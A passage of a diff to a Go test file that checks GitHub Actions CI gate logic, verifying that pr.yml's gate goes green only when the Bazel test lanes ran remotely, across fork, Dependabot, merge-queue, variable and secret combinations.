bazelGateScenario { +// this mode with every lane that runs in it passing. +func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode string) bazelGateScenario { t.Helper() outputs := map[string]string{} for lane, modes := range lanes { @@ -450,21 +154,12 @@ func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode strin } } return bazelGateScenario{ - name: fmt.Sprintf("%s mode %s covered %v", event, mode, covered), event: event, + name: fmt.Sprintf("%s mode %s", event, mode), event: event, mode: mode, enabled: bazelModeEnabled(mode), call: "success", - outputs: outputs, covered: covered, + outputs: outputs, } } -// coveredAll: bazel-coverage outputs with every tier set to v. -func coveredAll(v string) map[string]string { - out := map[string]string{} - for _, r := range retiredTiers { - out[r.output] = v - } - return out -} - // bazelPRCallLanes: the modes each bazel.yml lane runs in under pr.yml's call. func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[string]bool { t.Helper() @@ -477,603 +172,125 @@ func bazelPRCallLanes(t *testing.T, with map[string]string) map[string]map[strin return lanes } -// Never both gates green with neither a legacy tier nor its Bazel lanes -// having run it. covered (both workflows' actual decision scripts) is, per -// tier, the committed flag on a same-repo, non-Dependabot pull_request: -// nothing a re-run can change. Across two runs (PR Risk's and pr.yml's, or a -// re-run of either) that see RBE_WEST_WORKERS and the executor secret -// differently, every combination: if PR Risk skipped a legacy tier, pr.yml's -// actual gate step is green only if the lanes ran remotely. The happy path -// (flags, variable and secret on) is green with the legacy tiers skipped; -// the kill switch (variable off) or a missing secret with a flag still on is -// red, naming that tier's id. -func TestPRRiskDecisionMatchesBazelMode(t *testing.T) { +// Never a green gate with the Linux Go test tiers unrun: for every fact +// bazel.yml's rbe step reads on a pull_request or merge group (the farm +// variable, the executor secret, fork, Dependabot, what rbe-fork's mint +// answers), pr.yml's actual gate step, with every lane that runs in the +// decided mode passing, is green exactly when that mode executed the lanes +// on rbe-west, and a red one names BAZEL_REMOTE. A lane that failed, was +// cancelled or did not report reds the gate in a remote mode too. +func TestPRGateRequiresRemoteBazelLanes(t *testing.T) { requireHostTool(t, "bash") pr := readCIWorkflow(t, "pr.yml") call := pr.job(t, "bazel") if call.Uses != "./.github/workflows/"+bazelWorkflowName { t.Fatalf("pr.yml bazel job uses %q, want the local %s", call.Uses, bazelWorkflowName) } - riskStep, prStep := prRiskCoverageStep(t), coverageStep(t, "pr.yml") rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] gateStep := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") lanes := bazelPRCallLanes(t, call.With) - // The Bazel lanes PR Risk defers to: remote-only, gated by pr.yml, and - // not skippable in mode remote. - gate := pr.job(t, "ci-gate") required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) - cmd := exec.Command("bash", filepath.Join(sourceRepoRoot(t), bazelGateScript), "skips") - cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=remote", "BAZEL_RBE_ENABLED=true"} - out, err := cmd.Output() - if err != nil { - t.Fatal(err) + if !contains(required, bazelRemoteGateID) { + t.Errorf("pr.yml's ci-gate does not require %s", bazelRemoteGateID) } - remoteSkips := strings.Fields(string(out)) - if !contains(required, prRiskCoverageGateID) { - t.Errorf("pr.yml's ci-gate does not require %s", prRiskCoverageGateID) + if _, ok := gateStep.Env[bazelRemoteGateID]; ok { + t.Errorf("pr.yml's ci-gate env sets %s; only its run script may", bazelRemoteGateID) } - if gateStep.Env[prRiskCoverageGateID] != "${{ needs."+prRiskCoverageJobName+".result }}" { - t.Errorf("pr.yml's ci-gate %s = %q, want the decision job's result", prRiskCoverageGateID, gateStep.Env[prRiskCoverageGateID]) - } - for _, r := range retiredTiers { - if !contains(required, r.retiredID) { - t.Errorf("pr.yml's ci-gate does not require %s", r.retiredID) + for lane, id := range bazelLaneGateIDs { + if !lanes[lane]["remote"] { + t.Errorf("gated lane %s does not run in mode remote", lane) } - if gateStep.Env[r.coversEnv] != "${{ needs."+prRiskCoverageJobName+".outputs."+r.output+" }}" { - t.Errorf("pr.yml's ci-gate %s = %q, want needs.%s.outputs.%s", r.coversEnv, gateStep.Env[r.coversEnv], prRiskCoverageJobName, r.output) - } - for _, lane := range r.bazelLanes { - if !lanes[lane]["remote"] { - t.Fatalf("%s does not run in mode remote", lane) - } - if !contains(required, bazelLaneGateIDs[lane]) { - t.Errorf("pr.yml's ci-gate does not require %s", bazelLaneGateIDs[lane]) - } - if contains(remoteSkips, bazelLaneGateIDs[lane]) { - t.Fatalf("pr.yml's gate accepts a skipped %s in mode remote", bazelLaneGateIDs[lane]) - } - } - } - if !contains(gate.Needs, "bazel") || !contains(gate.Needs, prRiskCoverageJobName) { - t.Errorf("pr.yml's ci-gate needs %v, want bazel and %s", gate.Needs, prRiskCoverageJobName) - } - - // Both workflows run for the same PRs, so a PR Risk run that defers - // always has a pr.yml run that gates the lanes. - type triggers struct { - On struct { - PullRequest struct { - Branches []string `yaml:"branches"` - Paths []string `yaml:"paths"` - Ignore []string `yaml:"paths-ignore"` - Types []string `yaml:"types"` - } `yaml:"pull_request"` - } `yaml:"on"` - } - var prOn, riskOn triggers - for name, dst := range map[string]*triggers{"pr.yml": &prOn, prRiskWorkflowName: &riskOn} { - if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), dst); err != nil { - t.Fatal(err) - } - } - if !reflect.DeepEqual(prOn, riskOn) || len(prOn.On.PullRequest.Paths)+len(prOn.On.PullRequest.Ignore) != 0 { - t.Fatalf("pull_request triggers differ or are path-filtered: pr.yml %+v, %s %+v", prOn, prRiskWorkflowName, riskOn) - } - - // The decisions: bazel.yml's mode (which reads no flag) and both - // workflows' bazel-coverage outputs. - type decided struct { - covered, prCovered map[string]string - mode string - } - modeMemo := map[rbeFacts]string{} - coverMemo := map[rbeFacts][2]map[string]string{} - decideMemo := map[rbeFacts]decided{} - decide := func(t *testing.T, f rbeFacts) decided { - t.Helper() - if d, ok := decideMemo[f]; ok { - return d - } - noFlags := f - noFlags.retired = [3]string{} - noFlags.coversForks = "" - mode, ok := modeMemo[noFlags] - if !ok { - bazel, err := runDecisionStep(t, rbeStep, f, call.With) - if err != nil { - t.Fatalf("bazel.yml rbe step: %v", err) - } - mode = bazel["mode"] - modeMemo[noFlags] = mode - } - // The coverage steps read no variable, secret or mint (their env is - // pinned exactly by TestPRRiskBazelCoverageJob): one run per fact - // without them. - noMint := f - noMint.rbeVar, noMint.secret, noMint.mint = "", "", "" - cov, ok := coverMemo[noMint] - if !ok { - risk, err := runDecisionStep(t, riskStep, noMint, nil) - if err != nil || len(risk) != len(retiredTiers) { - t.Fatalf("%s decision step: %v %v", prRiskCoverageJobName, risk, err) - } - prd, err := runDecisionStep(t, prStep, noMint, nil) - if err != nil { - t.Fatalf("pr.yml %s step: %v", prRiskCoverageJobName, err) - } - cov = [2]map[string]string{risk, prd} - coverMemo[noMint] = cov - } - d := decided{cov[0], cov[1], mode} - decideMemo[f] = d - return d - } - - // One run's facts: the decision itself. - saw := map[string]bool{} - for _, f := range rbeFactsMatrix() { - d := decide(t, f) - for i, r := range retiredTiers { - want := f.covers(i) - if d.covered[r.output] != strconv.FormatBool(want) || d.prCovered[r.output] != d.covered[r.output] { - t.Errorf("%v: %s = %q (pr.yml %q), want %v", f, r.output, d.covered[r.output], d.prCovered[r.output], want) - } - saw[r.output+"="+strconv.FormatBool(want)] = true - } - } - for _, r := range retiredTiers { - if !saw[r.output+"=true"] || !saw[r.output+"=false"] { - t.Errorf("matrix never exercised both outcomes of %s: %v", r.output, saw) + if !contains(required, id) && !bazelPackageJobs[lane] { + t.Errorf("pr.yml's ci-gate does not require %s", id) } } - // Two runs (PR Risk's and pr.yml's, each possibly re-run) that agree on - // everything committed or fixed by the PR and differ in what an admin can - // change between them: the variable and the secret. gateMemo := map[string]bool{} - prGatePasses := func(t *testing.T, event, mode string, covered map[string]string) bool { - t.Helper() - key := fmt.Sprint(event, "/", mode, "/", covered) - if pass, ok := gateMemo[key]; ok { - return pass - } - pass, _ := runPRGateStep(t, gateStep, prGateFor(t, lanes, event, mode, covered)) - gateMemo[key] = pass - return pass - } - for _, f := range rbeFactsMatrix() { - if f.event != "pull_request" && f.event != "merge_group" { - continue // the events both workflows run on - } - risk := decide(t, f) - mints := []string{f.mint} - if f.forkPR() { - mints = rbeMintAnswers // rbe-fork may open or close between the runs - } - for _, v := range rbeVarValues { - for _, secret := range rbeSecrets { - for _, m := range mints { - g := f - g.rbeVar, g.secret, g.mint = v, secret, m - prRun := decide(t, g) - bazelRan := bazelRemoteModes[prRun.mode] // and passed: every lane succeeds here - for _, r := range retiredTiers { - // PR Risk's tiers stand down in PR Risk's run; pr.yml's - // own (step 3) in this same pr.yml run. - legacyRan := risk.covered[r.output] != "true" - if r.workflow == "pr.yml" { - legacyRan = prRun.prCovered[r.output] != "true" - } - if !legacyRan && !bazelRan && prGatePasses(t, g.event, prRun.mode, prRun.prCovered) { - t.Errorf("PR Risk run %v skipped the legacy %s tier and pr.yml run (var %q, secret %v, mint %q, mode %s, covered %v) is green without its Bazel lanes", - f, r.output, v, secret != "", m, prRun.mode, prRun.prCovered) - } - } - } - } - } - } - - // Named cases, for the record. Forks and Dependabot run in mode cache - // while rbe-fork is closed, which, like local, skips the remote-only - // lanes, or remotely in fork-ro/fork-rw; while BAZEL_COVERS_FORKS is - // "false" they keep the legacy tiers either way. While it is "true" they - // are covered: green only with their lanes run remotely, red in mode - // cache. reds: the retired ids a red gate must name. - both, embOnly, dsOnly, prOnly, none := [3]string{"true", "true", "true"}, [3]string{"true", "false", "false"}, [3]string{"false", "true", "false"}, - [3]string{"false", "false", "true"}, [3]string{"false", "false", "false"} - allRetired := []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED", "BAZEL_PR_LANES_RETIRED"} - for _, c := range []struct { - name string - f rbeFacts - mode string - covered map[string]string - prPasses bool - reds []string - }{ - {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, both, false, "false", ""}, "remote", coveredAll("true"), true, nil}, - {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, both, false, "false", ""}, "skip", coveredAll("true"), false, allRetired}, - {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, both, false, "false", ""}, "cache", coveredAll("true"), false, allRetired}, - {"same-repo PR, only embedded retired, var unset", rbeFacts{"pull_request", "", "x", false, embOnly, false, "false", ""}, "skip", map[string]string{"embedded": "true", "dolt_server": "false", "pr_lanes": "false"}, false, []string{"BAZEL_EMBEDDED_RETIRED"}}, - {"same-repo PR, only proxied/server retired, var unset", rbeFacts{"pull_request", "", "x", false, dsOnly, false, "false", ""}, "skip", map[string]string{"embedded": "false", "dolt_server": "true", "pr_lanes": "false"}, false, []string{"BAZEL_DOLT_SERVER_RETIRED"}}, - {"same-repo PR, only pr.yml's jobs retired, var unset", rbeFacts{"pull_request", "", "x", false, prOnly, false, "false", ""}, "skip", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - {"same-repo PR, only pr.yml's jobs retired, secret missing", rbeFacts{"pull_request", "true", "", false, prOnly, false, "false", ""}, "cache", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - {"same-repo PR, only pr.yml's jobs retired, farm on", rbeFacts{"pull_request", "true", "x", false, prOnly, false, "false", ""}, "remote", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, true, nil}, - {"same-repo PR, flags reverted, var unset", rbeFacts{"pull_request", "", "x", false, none, false, "false", ""}, "skip", coveredAll("false"), true, nil}, - {"same-repo PR, flags reverted, secret missing", rbeFacts{"pull_request", "true", "", false, none, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR", rbeFacts{"pull_request", "true", "", true, both, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR, var unset", rbeFacts{"pull_request", "", "", true, both, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, both, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, both, true, "false", ""}, "cache", coveredAll("false"), true, nil}, - // rbe-fork decides for Dependabot like for forks (the mint, not the - // farm switch): unreachable here, so cache. - {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, both, true, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", true, both, false, "false", "ro"}, "fork-ro", coveredAll("false"), true, nil}, - {"fork PR, rbe-fork rw", rbeFacts{"pull_request", "", "", true, both, false, "false", "rw"}, "fork-rw", coveredAll("false"), true, nil}, - {"fork PR, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, both, false, "false", "closed"}, "cache", coveredAll("false"), true, nil}, - {"Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, both, true, "false", "ro"}, "fork-ro", coveredAll("false"), true, nil}, - {"covered fork PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", true, both, false, "true", "ro"}, "fork-ro", coveredAll("true"), true, nil}, - {"covered fork PR, rbe-fork rw", rbeFacts{"pull_request", "", "", true, both, false, "true", "rw"}, "fork-rw", coveredAll("true"), true, nil}, - {"covered fork PR, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, both, false, "true", "closed"}, "cache", coveredAll("true"), false, allRetired}, - {"covered fork PR, mint unreachable", rbeFacts{"pull_request", "true", "", true, both, false, "true", ""}, "cache", coveredAll("true"), false, allRetired}, - {"covered Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, both, true, "true", "ro"}, "fork-ro", coveredAll("true"), true, nil}, - {"covered Dependabot PR, rbe-fork closed", rbeFacts{"pull_request", "", "", false, both, true, "true", "closed"}, "cache", coveredAll("true"), false, allRetired}, - {"covered fork PR, only pr.yml's jobs retired, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, prOnly, false, "true", "closed"}, "cache", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - // Merge queue: covered like a same-repo PR (the legacy tiers stay - // retired), so the Bazel lanes must run remotely and pass. - {"merge_group", rbeFacts{"merge_group", "true", "x", false, both, false, "false", ""}, "remote", coveredAll("true"), true, nil}, - {"merge_group, kill switch (var unset)", rbeFacts{"merge_group", "", "x", false, both, false, "false", ""}, "skip", coveredAll("true"), false, allRetired}, - {"merge_group, executor secret missing", rbeFacts{"merge_group", "true", "", false, both, false, "false", ""}, "cache", coveredAll("true"), false, allRetired}, - {"merge_group, flags reverted, var unset", rbeFacts{"merge_group", "", "x", false, none, false, "false", ""}, "skip", coveredAll("false"), true, nil}, - {"merge_group, only embedded retired", rbeFacts{"merge_group", "true", "x", false, embOnly, false, "false", ""}, "remote", map[string]string{"embedded": "true", "dolt_server": "false", "pr_lanes": "false"}, true, nil}, - } { - d := decide(t, c.f) - if !reflect.DeepEqual(d.covered, c.covered) || d.mode != c.mode { - t.Errorf("%s: covered = %v, mode = %q; want %v, %s", c.name, d.covered, d.mode, c.covered, c.mode) - } - pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, d.mode, d.prCovered)) - if pass != c.prPasses { - t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.prPasses, out) - } - for _, r := range retiredTiers { - named := regexp.MustCompile(`::error::` + r.retiredID + `\b`).MatchString(out) - if named != contains(c.reds, r.retiredID) { - t.Errorf("%s: red gate names %s = %v, want %v:\n%s", c.name, r.retiredID, named, contains(c.reds, r.retiredID), out) - } - } - } - for _, r := range retiredTiers { - // Covered, remote, but one of the tier's lanes failed, was cancelled - // or reported nothing: red, naming the retirement too. The other - // tier's lanes' results do not matter to this id. - for _, lane := range r.bazelLanes { - for _, res := range []string{"failure", "cancelled", ""} { - sc := prGateFor(t, lanes, "pull_request", "remote", coveredAll("true")) - sc.outputs[lane] = res - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+r.retiredID) { - t.Errorf("covered, %s lane %s %q: gate pass = %v, want red naming %s\n%s", r.output, lane, res, pass, r.retiredID, out) - } - // Not covered: the lane's own id still reds the gate, but the - // retirement check does not fire. - sc.covered = coveredAll("false") - if pass, out := runPRGateStep(t, gateStep, sc); pass || strings.Contains(out, "::error::"+r.retiredID) { - t.Errorf("not covered, %s lane %s %q: gate pass = %v, want red without %s\n%s", r.output, lane, res, pass, r.retiredID, out) - } - } - } - // Covered, and lane results of success the mode cannot produce (the - // lanes run only in mode remote): the mode alone still makes it red. - for _, mode := range []string{"skip", "local", "cache"} { - cov := coveredAll("false") - cov[r.output] = "true" - sc := prGateFor(t, lanes, "pull_request", mode, cov) - for _, lane := range r.bazelLanes { - sc.outputs[lane] = "success" - } - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+r.retiredID) { - t.Errorf("%s covered, mode %s, lanes reported success: gate pass = %v, want red naming %s\n%s", r.output, mode, pass, r.retiredID, out) - } - } - } - // pr.yml's coverage job failed: red even where nothing is retired. - for _, res := range []string{"failure", "cancelled", "skipped"} { - sc := prGateFor(t, lanes, "pull_request", "skip", coveredAll("")) - sc.coverage = res - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+prRiskCoverageGateID) { - t.Errorf("coverage job %s: gate pass = %v, want red naming %s\n%s", res, pass, prRiskCoverageGateID, out) - } - } - // A value that is not a boolean fails the job rather than deciding. - base := map[string]string{"PULL_REQUEST": "true", "FORK": "false", "DEPENDABOT": "false", "COVERS_FORKS": "false"} - for _, r := range retiredTiers { - base[r.envKey] = "true" - } - for k := range base { - env := copyMap(base) - env[k] = "" - if out, err := runBazelRBEDecision(t, riskStep.Run, env); err == nil { - t.Errorf("decision with %s='' succeeded with %v; want failure", k, out) - } - } -} - -// prRiskGateScenario: what pr-risk.yml's ci-gate sees. -type prRiskGateScenario struct { - name string - results map[string]string // needs..result - outputs map[string]string // needs..outputs., keyed "job.name" - wantPass bool - wantMention string -} - -// runPRRiskGateStep runs pr-risk.yml's actual "Evaluate CI gate" step with its -// env evaluated for the scenario. An env expression of any other form fails -// the test. -func runPRRiskGateStep(t *testing.T, step ciWorkflowStep, sc prRiskGateScenario) (bool, string) { - t.Helper() - expr := regexp.MustCompile(`^\$\{\{ needs\.([A-Za-z0-9_-]+)\.(result|outputs\.([A-Za-z0-9_-]+)) \}\}$`) - env := []string{"PATH=" + os.Getenv("PATH"), "GITHUB_EVENT_NAME=pull_request"} - for key, value := range step.Env { - if !strings.Contains(value, "${{") { - env = append(env, key+"="+value) - continue - } - m := expr.FindStringSubmatch(value) - if m == nil { - t.Fatalf("pr-risk ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) - } - var got string - var ok bool - if m[2] == "result" { - got, ok = sc.results[m[1]] - } else { - got, ok = sc.outputs[m[1]+"."+m[3]], true + saw := map[string]bool{} + for _, f := range rbeGateFactsMatrix() { + out, err := runDecisionStep(t, rbeStep, f, call.With) + if err != nil { + t.Fatalf("%v: bazel.yml rbe step: %v", f, err) } + mode := out["mode"] + saw[mode] = true + key := f.event + "/" + mode + pass, ok := gateMemo[key] if !ok { - t.Fatalf("scenario %q has no result for needs.%s", sc.name, m[1]) - } - env = append(env, key+"="+got) - } - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) - cmd.Dir = sourceRepoRoot(t) - cmd.Env = env - out, err := cmd.CombinedOutput() - return err == nil, string(out) -} - -// The legacy tiers' test jobs skip only when their tier is covered, and -// build-embedded (whose artifact only they consume) only when every tier is; -// PR Risk's gate accepts those skips only then: the jobs' needs and if, the -// gate's wiring, and the actual gate step over every risk tier x decision, -// including a missing, failed or non-true decision with the jobs skipped -// (red). -func TestPRRiskLegacyTiersDeferToBazelLanes(t *testing.T) { - requireHostTool(t, "bash") - risk := readCIWorkflow(t, prRiskWorkflowName) - retired := retiredJobs() - for name, r := range retired { - job := risk.job(t, name) - if job.If != r.legacyIf() { - t.Errorf("%s if = %q, want %q", name, job.If, r.legacyIf()) - } - if want := []string{"detect-ci-tier", prRiskCoverageJobName, prRiskBuildEmbeddedJob}; !reflect.DeepEqual([]string(job.Needs), want) { - t.Errorf("%s needs = %v, want %v", name, job.Needs, want) - } - } - build := risk.job(t, prRiskBuildEmbeddedJob) - if build.If != prRiskBuildEmbeddedIf { - t.Errorf("%s if = %q, want %q", prRiskBuildEmbeddedJob, build.If, prRiskBuildEmbeddedIf) - } - if want := []string{"detect-ci-tier", prRiskCoverageJobName}; !reflect.DeepEqual([]string(build.Needs), want) { - t.Errorf("%s needs = %v, want %v", prRiskBuildEmbeddedJob, build.Needs, want) - } - // build-embedded's artifact has no consumer but the retired jobs (so - // skipping it where they all skip loses nothing), and no other job - // depends on the decision. - var artifact string - for _, step := range build.Steps { - if strings.HasPrefix(step.Uses, "actions/upload-artifact@") { - if artifact != "" { - t.Errorf("%s uploads more than one artifact", prRiskBuildEmbeddedJob) - } - artifact = step.With["name"] - } - } - if artifact == "" { - t.Fatalf("%s uploads no artifact", prRiskBuildEmbeddedJob) - } - for name, job := range risk.Jobs { - consumes := false - for _, step := range job.Steps { - if strings.HasPrefix(step.Uses, "actions/download-artifact@") && (step.With["name"] == artifact || step.With["name"] == "" || strings.Contains(step.With["pattern"], "*")) { - consumes = true + var log string + pass, log = runPRGateStep(t, gateStep, prGateFor(t, lanes, f.event, mode)) + gateMemo[key] = pass + if !pass && !regexp.MustCompile(`::error::`+bazelRemoteGateID+`\b`).MatchString(log) { + t.Errorf("%v (mode %s): red gate does not name %s:\n%s", f, mode, bazelRemoteGateID, log) } } - _, isRetired := retired[name] - if consumes != isRetired { - t.Errorf("%s downloads %s = %v; want exactly the retired jobs %v to", name, artifact, consumes, retiredJobNames()) + if pass != bazelRemoteModes[mode] { + t.Errorf("%v: mode %s, every lane that runs in it passed: gate pass = %v, want %v", f, mode, pass, bazelRemoteModes[mode]) } - if contains(job.Needs, prRiskBuildEmbeddedJob) && !isRetired && name != "ci-gate" { - t.Errorf("%s needs %s; only the retired jobs may (it skips where they all do)", name, prRiskBuildEmbeddedJob) - } - if isRetired || name == "ci-gate" || name == prRiskCoverageJobName || name == prRiskBuildEmbeddedJob { - continue - } - if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { - t.Errorf("%s depends on %s; only %v and %s may stand down", name, prRiskCoverageJobName, retiredJobNames(), prRiskBuildEmbeddedJob) + } + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "cache", "skip"} { + if !saw[mode] { + t.Errorf("the fact matrix never reached mode %s: %v", mode, saw) } } - gate := risk.job(t, "ci-gate") - step := gate.step(t, "Evaluate CI gate") - required := strings.Fields(step.Env["CI_GATE_REQUIRED"]) - if !contains(gate.Needs, prRiskCoverageJobName) || !contains(required, prRiskCoverageGateID) || - step.Env[prRiskCoverageGateID] != "${{ needs."+prRiskCoverageJobName+".result }}" { - t.Errorf("pr-risk ci-gate does not require %s's result: needs %v, env %v", prRiskCoverageJobName, gate.Needs, step.Env) - } - for _, r := range retiredTiers { - want := "${{ needs." + prRiskCoverageJobName + ".outputs." + r.output + " }}" - if r.workflow != prRiskWorkflowName { - want = "" // pr.yml's own jobs: nothing in PR Risk reads it - } - if step.Env[r.coversEnv] != want { - t.Errorf("pr-risk ci-gate %s = %q, want %q", r.coversEnv, step.Env[r.coversEnv], want) - } - } - for name, r := range retired { - if !contains(required, r.jobs[name]) { - t.Errorf("pr-risk ci-gate no longer requires %s (it runs wherever the Bazel lanes do not)", r.jobs[name]) - } - } - if !contains(required, prRiskBuildEmbeddedID) { - t.Errorf("pr-risk ci-gate no longer requires %s", prRiskBuildEmbeddedID) - } - gateID := func(job string) string { - if r, ok := retired[job]; ok { - return r.jobs[job] - } - if job == prRiskBuildEmbeddedJob { - return prRiskBuildEmbeddedID - } - return "" - } - - // Each gated job's result for (tier, decision), as the jobs' if: and - // needs produce it: needs.* outputs are strings, so only 'true' skips; - // a failed decision job skips its dependents, and a skipped - // build-embedded skips its consumers. - results := func(full bool, coverageResult string, cov map[string]string) map[string]string { - r := map[string]string{} - for _, job := range gate.Needs { - r[job] = "success" - } - r[prRiskCoverageJobName] = coverageResult - decided := coverageResult == "success" - buildRuns := full && decided && (cov["embedded"] != "true" || cov["dolt_server"] != "true") - if !buildRuns { - r[prRiskBuildEmbeddedJob] = "skipped" - } - for name := range risk.Jobs { - if !contains(gate.Needs, name) || name == "detect-ci-tier" || name == prRiskCoverageJobName || name == "test-nix" || name == prRiskBuildEmbeddedJob { - continue - } - runs := full - if tier, ok := retired[name]; ok { - runs = full && decided && buildRuns && cov[tier.output] != "true" - } - if !runs { - r[name] = "skipped" - } - } - return r - } - outputs := func(full bool, cov map[string]string) map[string]string { - o := map[string]string{"detect-ci-tier.full_embedded": strconv.FormatBool(full)} - for _, r := range retiredTiers { - o[prRiskCoverageJobName+"."+r.output] = cov[r.output] - } - return o - } - - var scenarios []prRiskGateScenario - covs := []map[string]string{ - coveredAll("true"), coveredAll("false"), - {"embedded": "true", "dolt_server": "false"}, {"embedded": "false", "dolt_server": "true"}, - } - for _, full := range []bool{true, false} { - for _, cov := range covs { - name := fmt.Sprintf("full_embedded=%v covered=%v", full, cov) - r := results(full, "success", cov) - scenarios = append(scenarios, prRiskGateScenario{name: name + ", as designed", results: r, outputs: outputs(full, cov), wantPass: true}) - for _, id := range append(retiredJobNames(), prRiskBuildEmbeddedJob) { - if r[id] == "skipped" { - // Skipped by design; if it ran anyway and failed, red. - bad := copyMap(r) - bad[id] = "failure" - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " ran and failed", bad, outputs(full, cov), false, gateID(id)}) - continue - } - for _, res := range []string{"skipped", "failure", "cancelled"} { - bad := copyMap(r) - bad[id] = res - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " " + res, bad, outputs(full, cov), false, gateID(id)}) - } - } - } - } - // A failed, cancelled or missing decision, or one that is not exactly - // 'true', excuses nothing, whatever the jobs did. - for _, bad := range []struct{ result, covered string }{ - {"failure", ""}, {"cancelled", ""}, {"skipped", ""}, {"failure", "true"}, {"cancelled", "true"}, + // Named cases, for the record. + for _, c := range []struct { + name string + f rbeFacts + mode string + pass bool + }{ + {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, false, ""}, "remote", true}, + {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, false, ""}, "skip", false}, + {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, false, ""}, "cache", false}, + {"fork PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", true, false, "ro"}, "fork-ro", true}, + {"fork PR, rbe-fork rw", rbeFacts{"pull_request", "", "", true, false, "rw"}, "fork-rw", true}, + {"fork PR, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, false, "closed"}, "cache", false}, + {"fork PR, mint unreachable", rbeFacts{"pull_request", "true", "", true, false, ""}, "cache", false}, + {"Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, true, "ro"}, "fork-ro", true}, + {"Dependabot PR, rbe-fork closed", rbeFacts{"pull_request", "", "", false, true, "closed"}, "cache", false}, + {"merge_group", rbeFacts{"merge_group", "true", "x", false, false, ""}, "remote", true}, + {"merge_group, kill switch (var unset)", rbeFacts{"merge_group", "", "x", false, false, ""}, "skip", false}, + {"merge_group, executor secret missing", rbeFacts{"merge_group", "true", "", false, false, ""}, "cache", false}, } { - r := results(true, "success", coveredAll("false")) - r[prRiskCoverageJobName] = bad.result - for _, id := range append(retiredJobNames(), prRiskBuildEmbeddedJob) { - r[id] = "skipped" + out, err := runDecisionStep(t, rbeStep, c.f, call.With) + if err != nil { + t.Fatalf("%s: bazel.yml rbe step: %v", c.name, err) } - scenarios = append(scenarios, prRiskGateScenario{ - name: fmt.Sprintf("decision %s covered=%q, legacy skipped", bad.result, bad.covered), - results: r, outputs: outputs(true, coveredAll(bad.covered)), wantPass: false, wantMention: prRiskCoverageGateID, - }) - } - // Review F3 (step 2): per tier, with the other tier's output a valid - // "false" (so its jobs and build-embedded ran), a successful decision - // whose output for this tier is not exactly 'true' excuses none of this - // tier's skipped jobs: a gate testing != "false" (or similar) fails here. - for _, tier := range riskTiers() { - for _, covered := range []string{"", "TRUE ", "yes", "1", "True\n", "false "} { - cov := coveredAll("false") - cov[tier.output] = covered - for job, id := range tier.jobs { - r := results(true, "success", coveredAll("false")) - r[job] = "skipped" - scenarios = append(scenarios, prRiskGateScenario{ - name: fmt.Sprintf("decision success %s=%q, %s skipped", tier.output, covered, job), - results: r, outputs: outputs(true, cov), wantPass: false, wantMention: id, - }) - } + if out["mode"] != c.mode { + t.Errorf("%s: mode = %q, want %s", c.name, out["mode"], c.mode) } - // And build-embedded's skip is excused only when both are exactly true. - cov := coveredAll("true") - cov[tier.output] = "yes" - r := results(true, "success", coveredAll("true")) - for job := range tier.jobs { - r[job] = "success" // isolate BUILD_EMBEDDED's own skip rule + if pass, log := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, out["mode"])); pass != c.pass { + t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.pass, log) } - scenarios = append(scenarios, prRiskGateScenario{ - name: fmt.Sprintf("decision success %s=yes, other true, build-embedded skipped", tier.output), - results: r, outputs: outputs(true, cov), wantPass: false, wantMention: prRiskBuildEmbeddedID, - }) - } - // The decision job itself 